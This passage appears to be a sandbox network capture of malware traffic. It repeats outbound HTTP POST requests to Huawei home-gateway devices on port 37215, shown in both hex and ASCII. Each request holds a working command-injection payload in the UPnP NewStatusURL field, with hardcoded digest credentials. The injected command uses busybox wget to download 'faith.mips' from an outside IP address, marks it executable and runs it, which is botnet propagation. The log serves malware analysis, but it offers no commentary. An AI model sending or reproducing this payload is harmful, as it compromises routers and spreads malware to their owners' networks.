xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:27.996664047 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:29.884610891 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:33.788604021 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:41.468614101 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:56.572597027 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:28.316566944 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	47418	94.121.183.47	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:28.700931072 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:32.764617920 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:38.908706903 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
